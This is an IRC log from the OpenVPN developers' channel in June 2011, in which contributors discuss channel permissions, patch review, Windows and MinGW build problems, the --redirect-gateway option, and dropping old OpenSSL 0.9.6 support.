<@raidz> facepalm.jpg 15:18 <+ecrist> also need to fix the access list for this and the main channel 15:19 <+ecrist> we give +O to all from *.openvpn.net 15:19 <@raidz> lol 15:19 <+ecrist> that's why testing has +o 15:19 <@raidz> eeek 15:20 !services. [ChanServ:#openvpn-devel] ecrist set flags -vOtsr on *!*@*.openvpn.net. 15:20 <@raidz> ^^ 15:20 <@testing_ecrist> I just removed the entry 15:21 <@raidz> same for #openvpn? 15:21 <@testing_ecrist> if you folks want ops, you'll have to get a cloak, or ping me 15:21 <@testing_ecrist> no, it wasn't there, we do cloaks only there 15:21 <@raidz> ok cool 15:21 -!- testing_ecrist [~webchat@webchat.openvpn.net] has left #openvpn-devel [] 15:21 <@raidz> I am pretty sure I have a cloak and ops already 15:22 <+ecrist> you do 15:22 <@raidz> oh I see what you mean 15:22 <@raidz> I don't think there is any way around block /j 15:22 <@raidz> just on the inital page 15:22 <+ecrist> you can comment out the join command 15:22 <+ecrist> those being /j and /join 15:22 <+ecrist> up to you 15:23 <@raidz> where at? 15:23 <+ecrist> in the qwebirc code 15:23 <@raidz> will check, thnks 15:23 <+ecrist> as far as pysqlite goes, you'll have to get that installed. 15:23 <@raidz> lol, it is! 15:26 <+krzie> shouldnt webchat get a cloak too? 15:26 <+krzie> openvpn/webchat or something 15:27 <+krzie> oh nevermind 15:27 <+krzie> forgot its not based on IP but based on nickserv 15:37 <+ecrist> well, we could ask them for one, krzie 15:37 <+ecrist> not worth the effort at this point. 15:42 -!- andj is now known as andj_afk 17:29 -!- patelx [~a@openvpn/corp/admin/patel] has joined #openvpn-devel 17:29 -!- mode/#openvpn-devel [+o patelx] by ChanServ 19:11 -!- raidz1 [~Administr@50-76-49-94-ip-static.hfc.comcastbusiness.net] has joined #openvpn-devel 19:12 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Ping timeout: 255 seconds] 19:13 -!- raidz1 is now known as raidz 19:13 -!- raidz [~Administr@50-76-49-94-ip-static.hfc.comcastbusiness.net] has quit [Changing host] 19:13 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 19:13 -!- mode/#openvpn-devel [+o raidz] by ChanServ 19:14 -!- patel [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has quit [Ping timeout: 276 seconds] 19:14 -!- patel [~patel@50-76-49-94-ip-static.hfc.comcastbusiness.net] has joined #openvpn-devel 19:24 <+krzie> true 19:55 -!- raidz is now known as raidz_afk 21:26 -!- bystander [775d3322@gateway/web/freenode/ip.119.93.51.34] has joined #openvpn-devel 21:27 < bystander> good day sir. I would like to know how does openvpn connect to the server and authenticates using the username/password method. 21:38 -!- bystander [775d3322@gateway/web/freenode/ip.119.93.51.34] has quit [Quit: Page closed] 22:37 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 23:10 -!- enfant [~acodemonk@59.41.156.81] has quit [Ping timeout: 258 seconds] --- Day changed Fri Jun 24 2011 00:43 -!- dazo_afk is now known as dazo 00:48 * dazo begins to consider to ban bystander in this channel 00:48 <@dazo> bystander pops in, asks a question, and never stay around long enough to get an answer 01:39 -!- enfant [~acodemonk@59.41.156.81] has joined #openvpn-devel 02:14 -!- dazo is now known as dazo_afk 02:23 -!- enfant [~acodemonk@59.41.156.81] has left #openvpn-devel [] 02:27 <@mattock> cron2: can you test domake-win builds with my two patches for ticket #125? 02:27 <@mattock> if you have proper build computer 02:54 -!- jamesyonan_ [~jamesyona@ec2-174-129-74-149.compute-1.amazonaws.com] has joined #openvpn-devel 02:54 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 02:57 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 03:00 -!- jamesyonan_ [~jamesyona@ec2-174-129-74-149.compute-1.amazonaws.com] has quit [Ping timeout: 258 seconds] 04:12 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has quit [Remote host closed the connection] 04:13 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 04:14 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 04:40 -!- dazo_afk is now known as dazo 05:42 -!- andj_afk is now known as andj 05:45 < andj> Nice list of patches went out just now :) 07:04 <@dazo> andj: good job! :) 07:13 < andj> thanks :) 07:13 < andj> The tough patch is next though, separating SSL functionality 07:18 <@dazo> yeah ... keep'em coming :) ... even though, I see we need time to review them, but it needs to be done ... I hope James can help out reviewing too 07:27 < andj> There's quite a lot of code there... I'm trying to deliver them in small chunks 07:27 < andj> The part I'm really terrified of is the SSL verification 07:28 < andj> there are so many changes there, and the code is a little messy in that area, mostly due to the large number of features 07:28 < andj> that need a hook there 07:39 <@dazo> yeah, that's something we're struggling with as well ... I think (hope!) James is the one who got best overview here 07:39 < andj> The patch shoul help alittle there too 07:40 < andj> (spelling hard) 07:40 <@dazo> anyway, your doxygen patches went over my expectations, in regards to detail level ... that's really wonderful! 07:41 < andj> Part of a project we did a while ago for the Dutch government 07:41 < andj> :) 07:41 < andj> evaluated software needs to be readable and understandable 07:47 * dazo loves the Dutch government :) 07:48 < andj> :) 07:48 <@dazo> It seems the Dutch government does a lot of good things in regards to Internet stuff .... network neutrality has been a big hit in Norwegian media lately 07:48 < andj> Yeah, second country in the world (Chili beat us to it) 07:49 < andj> Despite a small mistake in procedures by one of the parties in parliament 07:49 < andj> (They accidentaly voted for the wrong ammendment :)) 07:49 <@dazo> haha 07:49 <@dazo> that's a nasty bummer :-P 07:49 < andj> and apparently it's really difficult to undo that 07:49 <@dazo> eek, that's a pity 07:50 < andj> I think it got fixed in the end though... 07:50 <@dazo> :) 07:50 < andj> It had to be put on the fast track here (and not wait for th EU) 07:50 < andj> because to of our primary telco's wanted to start filtering using DPI 07:50 < andj> (deep packet inspection) 07:50 < andj> for Whatsapp and skype 07:51 <@dazo> heh ... I'm not surprised .... Australia have become big on this lately too 07:51 < andj> to=two 07:52 < andj> yeah, it's good that these things are being put down in law... 07:52 < andj> Anyway, back to work, hope to get the biggest patch (SSL separation) out somewhere on tuesday-wednesday 07:52 < andj> rest is pretty trivial 07:52 <@dazo> cool! thanks a lot! 07:53 < andj> since those don't have any merge conflicts 07:53 < andj> speak to you soon 07:53 <@dazo> sure will :) 07:53 <@dazo> We will have another developers meeting next Thursday @18:00 UTC ... got time to join? 07:57 < andj> I can try, but I'm often travelling from work to home, or having dinner around that time, so no promises :) 07:58 <@dazo> sure, no worries! 08:06 < andj> By the way, I heard a lot about the new Windows build system (haven't played with it yet though) 08:07 < andj> Is it based on a custom script, or on an existing Python build system 08:16 <@dazo> it's based on something James brew together 08:16 < andj> aha 08:16 <@dazo> its all in the ./win directory 08:17 < andj> My hands were itching to create a CMake build file the other day :) 08:17 < andj> and add some subdirectories, but I'll leave that until I'm done with these patches and have some free time :) 08:18 <@dazo> hehe .... well, I wouldn't be totally against it ... but James' script is tightly connected to some of the internal infrastructure for building OpenVPN AS and other side projects of OpenVPN 08:18 < andj> ah, right 08:18 <@dazo> I'm using CMake in eurephia ... I have some mixed feelings about it, though ... basically because building on RHEL5 is a nightmare as it only ships CMake 2.4 08:19 <@dazo> is it possible to create tar-balls like autotools does with 'make dist'? 08:19 < andj> had a similar problem with RHEL6, and CMake 2.6 08:19 < andj> There's CPack, but I haven't played with it that much 08:19 < andj> some colleagues of mine really like it, at least for 2.8 08:19 <@dazo> yeah, CPack seems a bit hefty for me ... as it creates RPMs directly ... which also sounds overkill 08:20 <@dazo> (that's why there is rpmbuild and spec files, kind of) 08:20 < andj> It's just a few lines of code though in you CMakeLists.txt, since it already knows about installing stuff from your INSTALL directives 08:21 < andj> *you=your 08:21 <@dazo> hmmm .... I should probably have a closer look at that ... as requiring CMake to be installed is a hurdle on many platforms 08:21 < andj> That's definitely true, and the built-in Find* macro's aren't always all-encompassing 08:21 <@dazo> yeah, true 08:21 < andj> On the other hand, I always end up fighting autotools 08:22 <@dazo> hehe ... I've actually gotten to know autotools better with time ... and now I begin to kind of have less fights with it ... so I'm considering a move to autotools in eurephia, just because of that ... but somehow, I feel I'm just trading challenges 08:24 < andj> heard a tech talk about buildout (http://www.buildout.org/) the other day 08:24 <@vpnHelper> Title: Buildout - software build system reloaded! (at www.buildout.org) 08:24 <@dazo> hmm 08:24 < andj> sounded promising, but not sure how mature it is yet 08:24 <@dazo> well, python is available on most platforms these days .... so that might not be such a bad idea 08:30 * dazo will checkout buildout more in details later on ... looks very interesting 08:31 <@dazo> andj: btw ... it seems the first 10 mails of your patches today still haven't arrived the ML ... unless my mail account got issues ... 08:35 < andj> ah, yeah, forgot to mention that 08:35 < andj> the numbering starts with the doxygen patches :) 08:36 < andj> about buildout: never tried though :) 08:50 < andj> a colleague of mine just mentioned http://www.scons.org/ which might also be interesting for you :) 08:50 <@vpnHelper> Title: SCons: A software construction tool (at www.scons.org) 08:57 -!- krzie [nobody@hemp.ircpimps.org] has joined #openvpn-devel 08:57 -!- krzie [nobody@hemp.ircpimps.org] has quit [Changing host] 08:57 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 08:58 -!- mode/#openvpn-devel [+v krzie] by ChanServ 09:26 -!- andj is now known as andj_afk 10:00 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:10 -!- dazo is now known as dazo_afk 10:15 -!- raidz_afk is now known as raidz 10:30 -!- dazo_afk is now known as dazo 10:31 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Quit: Leaving.] 10:33 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 10:33 -!- mode/#openvpn-devel [+o raidz] by ChanServ 11:12 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 12:14 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Operation timed out] 13:00 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:00 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:02 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 13:03 -!- krzie [~k@190.166.168.175] has joined #openvpn-devel 13:03 -!- krzie [~k@190.166.168.175] has quit [Changing host] 13:03 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 13:03 -!- mode/#openvpn-devel [+v krzie] by ChanServ 13:07 -!- dazo is now known as dazo_afk 13:10 -!- krzie [~k@openvpn/community/support/krzee] has quit [Quit: Leaving] 13:39 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:39 -!- mode/#openvpn-devel [+v krzie] by ChanServ 16:51 -!- andj_afk is now known as andj 16:52 -!- andj is now known as andj_afk 16:55 -!- andj_afk is now known as andj 17:13 -!- andj is now known as andj_afk 17:14 -!- andj_afk is now known as andj 17:18 -!- andj is now known as andj_afk 18:44 -!- jamesyonan_ [~jamesyona@ec2-174-129-74-149.compute-1.amazonaws.com] has joined #openvpn-devel 18:44 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 18:44 -!- jamesyonan_ [~jamesyona@ec2-174-129-74-149.compute-1.amazonaws.com] has quit [Client Quit] 18:47 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 18:58 -!- raidz is now known as raidz_afk 19:21 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 19:29 -!- krzie [nobody@hemp.ircpimps.org] has joined #openvpn-devel 19:29 -!- krzie [nobody@hemp.ircpimps.org] has quit [Changing host] 19:29 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:29 -!- mode/#openvpn-devel [+v krzie] by ChanServ --- Day changed Sat Jun 25 2011 00:30 -!- andj_afk is now known as andj 03:50 -!- patelx [~a@openvpn/corp/admin/patel] has quit [Quit: ircN 8.00 for mIRC (20080809) - www.ircN.org] 05:46 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:46 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:55 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 09:12 -!- kisom [~x@c-f6dde155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Remote host closed the connection] 12:01 -!- kisom [~x@c-f6dde155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 13:26 -!- patel [~patel@50-76-49-94-ip-static.hfc.comcastbusiness.net] has quit [Ping timeout: 258 seconds] 13:27 -!- raidz_afk [~Administr@openvpn/corp/admin/andrew] has quit [Ping timeout: 258 seconds] 16:47 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 16:48 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:48 -!- mode/#openvpn-devel [+v krzie] by ChanServ 17:55 -!- andj is now known as andj_afk --- Day changed Sun Jun 26 2011 02:18 -!- andj_afk is now known as andj 04:42 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:42 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:53 -!- andj is now known as andj_afk 06:19 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 09:07 -!- andj_afk is now known as andj 10:39 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:32 -!- psha [~psha@213.208.162.69] has quit [Read error: Connection reset by peer] 11:32 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 14:22 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 16:20 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 20:47 -!- krzie [nobody@hemp.ircpimps.org] has joined #openvpn-devel 20:47 -!- krzie [nobody@hemp.ircpimps.org] has quit [Changing host] 20:47 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:47 -!- mode/#openvpn-devel [+v krzie] by ChanServ --- Day changed Mon Jun 27 2011 01:00 -!- andj is now known as andj_afk 05:28 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:28 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:11 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 10:11 -!- mode/#openvpn-devel [+o raidz] by ChanServ 11:22 -!- andj_afk is now known as andj 11:39 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:56 -!- raidz1 [~Administr@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 11:57 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Ping timeout: 255 seconds] 11:59 -!- raidz1 [~Administr@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has quit [Client Quit] 11:59 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:59 -!- mode/#openvpn-devel [+o raidz] by ChanServ 12:05 -!- patelx [~patel@openvpn/corp/admin/patel] has joined #openvpn-devel 12:05 -!- mode/#openvpn-devel [+o patelx] by ChanServ 13:03 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:03 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:44 -!- andj is now known as andj_afk 15:54 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 16:27 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 16:31 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 16:55 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 17:00 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Ping timeout: 244 seconds] 17:01 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 17:02 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 17:40 -!- jamesyonan [~jamesyona@75.148.45.33] has joined #openvpn-devel 17:41 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 18:37 -!- jamesyonan [~jamesyona@75.148.45.33] has quit [Quit: jamesyonan] 19:05 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 19:05 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 19:09 -!- Netsplit *.net <-> *.split quits: andj_afk 19:13 -!- Netsplit over, joins: andj_afk 19:24 -!- raidz is now known as raidz_afk 23:09 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel --- Day changed Tue Jun 28 2011 00:12 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 00:40 -!- andj_afk is now known as andj 00:41 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Ping timeout: 246 seconds] 00:57 -!- andj is now known as andj_afk 00:59 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:59 -!- mode/#openvpn-devel [+v krzie] by ChanServ 01:29 <@mattock> I'll setup "domake-win" build computer for testing now 02:26 <@cron2> \o/ 03:24 -!- dazo_afk is now known as dazo 03:32 -!- dazo is now known as dazo_afk 04:27 -!- dazo_afk is now known as dazo 04:33 <@mattock> I'll probably have to send in a few patches to make the default configuration files more in-line with Python buildsystem 04:33 <@mattock> (or vise versa) 04:33 <@mattock> all documentation will be here, as usual: https://community.openvpn.net/openvpn/wiki/BuildingOnWindows 04:33 <@vpnHelper> Title: BuildingOnWindows – OpenVPN Community (at community.openvpn.net) 04:36 <@mattock> openssl running "make test", time for lunch :) 04:56 <@dazo> mattock: I think we should have a brief discussion in some meeting if --redirect-gateway is still to be considered experimental ... I think this feature has proved itself stable enough and can loose the "experimental" stamp 04:59 <@dazo> (it's been "experimental" at least back to 2005 05:04 < chantra> dazo: mattock i have been using redirect-gateway feature for some time and it works perfectly 05:04 < chantra> at least with def1 bypass-dhcp flags 05:04 < chantra> both for linux and windows clients 05:06 <@dazo> I've been using it to access media streaming normally not available when I'm abroad too ... I've used it extensively ... and a lot of users do use this feature as well 05:06 * dazo has used --redirect-gateway without args and with 'def1' 05:08 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 05:38 <@mattock> dazo: that's long time 05:38 <@mattock> I agree it's not "experimental" anymore 05:38 <@mattock> and if there are no bug reports on it, I think we can consider it stable 05:38 <@mattock> or, as stable as they get 05:39 <@cron2> it's a legacy feature 05:43 < chantra> cron2: legacy as in it will be/is replaced by something else? 06:11 <@cron2> well, it's for IPv4, and who needs that anyway? 06:12 <@cron2> (seriously: for 2.4, this is something that we need to add for IPv6, and it requires lots of system-dependent new code in route.c) 06:36 <@dazo> agreed! I'd say, for 2.4, we probably should rename the IPv4 options to --redirect-gateway ... so def1 is ipv4def1 ... and so on ... and implement IPv6 features as well, in the same configuration option ... but that's my perspective of it 06:51 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 07:17 <@mattock> dang, building stuff on MinGW inside Win7-amd64 VM sure is slow 07:40 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 09:04 <@mattock> if the 2.2.1 release depends on testing MinGW builds, it won't happen today 09:04 <@mattock> I'm starting to hate the MinGW buildsystem as much I hate the Python-based buildsystem :P 09:05 <@mattock> with the difference, that I can handle Python-based stuff, so it's way less painful atm 09:09 <@cron2> the mingw build system isn't that bad, but getting it going can be a bit painful as soon as the first path name changes and you need a 15-minute compile run to see where it bombs... 09:09 <@cron2> (but you can run all the scripts inside domake-win one after another, fix errors, and re-run certain bits to see whether it works now) 09:18 <@mattock> for some reason it fails to convert install-win32/settings.in into various files (in autodefs directory) 09:19 <@mattock> so, it fails to locate OPENSSL_DIR and all 09:21 <@mattock> cron2: have you tried building "master" using MinGW? 09:23 <@cron2> no 09:23 <@cron2> last I have built is 2.2 + IPv6 payload 09:23 <@dazo> mattock: I'd try to start building MinGW stuff with release/2.2 first ... because I have a feeling JJO 09:23 <@cron2> (and that one builds nicely as soon as path names and versions are adjusted) 09:23 <@dazo> JJO's patches are going to challenge us a bit 09:24 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 09:24 <@mattock> oh yes, of course... trying 2.2 09:24 <@mattock> silly me 09:25 <@dazo> at least to sanity test your build environment :) 09:34 <@mattock> looks more promising with 2.2... although trans.pl still chokes on this line in install-win32/settings.in: 09:34 <@mattock> !include "autodefs/version.in" 09:35 <@mattock> it is actually building now... let's see where it breaks 09:36 <@dazo> cool! 09:43 <@mattock> did not find lzo lib unfortunately 09:51 <@mattock> I don't think we can release 2.2.1 until tomorrow (optimistic estimate) or Friday (realistic estimate) 09:51 <@mattock> dazo: what's your availability this week? 09:51 <@dazo> mattock: it's tight until Friday 09:51 <@dazo> mattock: but I'm planning on being available for meeting on Thursday 09:51 <@mattock> that'd be great! 09:51 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 09:52 <@mattock> we could perhaps tie the loose ends together (for 2.2.1) during the meeting 09:52 <@mattock> then it's just tar.* and tagging the tree 09:52 <@mattock> I can take care of the rest on Friday 09:58 <@mattock> lzo issue fixed, openssl next :) 10:10 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 10:10 -!- mode/#openvpn-devel [+o raidz] by ChanServ 10:11 -!- raidz_afk [~Administr@openvpn/corp/admin/andrew] has quit [Ping timeout: 255 seconds] 10:12 -!- patelx [~patel@openvpn/corp/admin/patel] has quit [Ping timeout: 246 seconds] 10:16 -!- patel [~patel@50-76-49-94-ip-static.hfc.comcastbusiness.net] has joined #openvpn-devel 10:17 -!- patel is now known as patelx 10:17 -!- patelx [~patel@50-76-49-94-ip-static.hfc.comcastbusiness.net] has quit [Changing host] 10:17 -!- patelx [~patel@openvpn/corp/admin/patel] has joined #openvpn-devel 10:17 -!- mode/#openvpn-devel [+o patelx] by ChanServ 10:57 -!- andj_afk is now known as andj 11:33 -!- psha [~psha@213.208.162.69] has quit [Read error: Connection reset by peer] 11:38 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:17 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 12:17 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 12:17 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 12:17 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 12:17 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:45 <@dazo> mattock: yeah, I'm available for getting the last 2.2.1 pieces tied up on Thursday ... sounds like a plan 12:49 -!- dazo is now known as dazo_afk 12:55 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 12:58 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:59 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:17 -!- s7r [~s7r@unaffiliated/s7r] has quit [Ping timeout: 258 seconds] 14:41 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 15:26 -!- andj is now known as andj_afk 15:53 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 16:04 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 17:00 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:00 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:16 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 17:16 -!- mode/#openvpn-devel [+v krzie] by ChanServ 19:09 -!- raidz1 [~Administr@50-76-49-94-ip-static.hfc.comcastbusiness.net] has joined #openvpn-devel 19:10 -!- raidz1 [~Administr@50-76-49-94-ip-static.hfc.comcastbusiness.net] has left #openvpn-devel [] 19:10 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Ping timeout: 255 seconds] 19:11 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 19:11 -!- mode/#openvpn-devel [+o raidz] by ChanServ 19:11 -!- patelx [~patel@openvpn/corp/admin/patel] has quit [Ping timeout: 276 seconds] 19:14 -!- patel [~patel@50-76-49-94-ip-static.hfc.comcastbusiness.net] has joined #openvpn-devel 19:25 -!- raidz is now known as raidz_afk 20:34 -!- jamesyonan_ [~jamesyona@ec2-174-129-74-149.compute-1.amazonaws.com] has joined #openvpn-devel 20:34 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 20:37 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 20:39 -!- jamesyonan_ [~jamesyona@ec2-174-129-74-149.compute-1.amazonaws.com] has quit [Ping timeout: 276 seconds] 21:12 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 21:39 -!- You're now known as ecrist_away 21:39 -!- You're now known as ecrist 21:55 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:55 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:20 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Read error: Connection reset by peer] 22:26 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 23:34 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel --- Day changed Wed Jun 29 2011 00:04 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 00:05 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 00:06 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:06 -!- mode/#openvpn-devel [+o mattock] by ChanServ 00:35 -!- andj_afk is now known as andj 02:12 -!- dazo_afk is now known as dazo 03:20 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 03:24 <@mattock> easy-rsa / mingw fixes on their way to ml 03:45 <@dazo> cool! 03:58 <@mattock> did you get the introductory mail and patch 1/2? 03:58 <@mattock> I've only receive 2/2 03:58 * dazo looks 03:58 <@dazo> mattock: I received 3 mails 03:58 <@mattock> ok, good 03:58 <@mattock> then it's just me 03:59 * dazo would like janjust to pop in right now ... :) 04:00 <@dazo> mattock: did you implement the patch I pointed you at last week as well? 04:00 <@mattock> dazo: no, I meant to ask you about that 04:00 <@mattock> care to point me at it (again) :) 04:00 <@mattock> or maybe I did, not sure 04:00 <@dazo> probably need to paste it again :) 04:01 <@dazo> seems not 04:01 <@dazo> mattock: http://www.fpaste.org/n8I6/ 04:02 <@mattock> oh yeah 04:03 <@mattock> I'll apply this on top of my changes and see what happens 04:03 <@dazo> perfect! 04:08 <@mattock> both git-am and patch fail to apply this 04:08 <@mattock> the "raw" version 04:08 <@mattock> git-am gives "Patch format detection failed." 04:09 <@mattock> maybe git-send-email it to me? 04:10 <@dazo> sure can do 04:10 <@dazo> well, git-am should fail ... as it's not a commit ... just a diff :) 04:11 <@dazo> but I'll mail you something 04:12 <@mattock> nice 04:16 <@dazo> mattock: mail sent 04:16 <@dazo> (sent only to you) 04:18 <@mattock> ok 04:21 <@mattock> dazo: how exactly do you extract the patches from the emails? 04:21 <@dazo> I use alpine/pine/mutt 04:22 <@dazo> or just copy-paste the raw mail, including headers ... and feed that to git-am 04:23 <@mattock> ah, I'll try pasting everything to git-am 04:24 <@mattock> neat, worked! 04:25 <@mattock> so this is for standard *NIX builds 04:25 <@mattock> domake-win does it's own magic 04:25 <@mattock> I'll test on Ubuntu 11.04 04:28 <@dazo> yeah, this was issues I stumbled upon in Fedora 04:30 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: mattock] 04:30 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:30 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:54 <@mattock> had to make a few fixes, but it now seems to work 04:54 <@mattock> it did not copy openssl-0.9.8.cnf during install, which caused issues on Ubuntu 11.04 (which has 0.9.8) 04:58 <@mattock> apparently openssl-0.9.8.cnf got to the repository 05:03 <@mattock> dazo: sent you a modified patch for review 05:03 <@mattock> if there's nothing obviously wrong with it, I'll mail it to openvpn-devel 05:04 <@mattock> correction to above... "apparently openssl-0.9.8.cnf _never_ got into the repository" 05:04 <@dazo> ahh ... maybe we should add something which works with openssl-0.9.8.cnf as well 05:05 <@dazo> actually, that would be the old openssl.cnf 05:05 * dazo might be confused with -0.9.6, 0.9.8 and 1.0.0 06:06 <@mattock> yep, that's in the patch I sent you 06:06 <@mattock> 0.9.8 support 07:11 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 07:57 <@mattock> dazo: did you check out the patch? is it openvpn-devel material? 07:58 <@dazo> mattock: I'll look at it ... just having many balls active in parallel ... so a bit higher latency now :) 07:58 <@mattock> dazo: no problem, I'm not in a hurry :) 07:59 <@mattock> it'd be good to have it on -devel early next morning at latest 07:59 <@mattock> of course, I can just send it :P 07:59 <@mattock> it's not that bad 08:04 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 08:05 <@dazo> mattock: just peeked at it now ... it makes sense ... I'm just wondering if we should move over towards the regexp solution I used for 1.0.0 ... 08:05 <@dazo> just to be consistent 08:06 <@mattock> probably 08:06 <@mattock> and we should eventually remove OpenSSL 0.9.6 support 08:07 <@dazo> yeah, I'd say that probably need to be done after having made sure the embedded world won't be angry 08:08 <@dazo> (there are more 0.9.6 stuff in the source code we should rip out in the same moment) 08:23 <@mattock> last OpenSSL 0.9.6 is from 2004 08:23 <@mattock> last release... 08:23 <@mattock> I'd say 0.9.6 support should be buried a.s.a.p. :) 08:23 <@mattock> it's got to be full of security holes 08:27 <@mattock> added the topic to tomorrow's agenda... james probably has 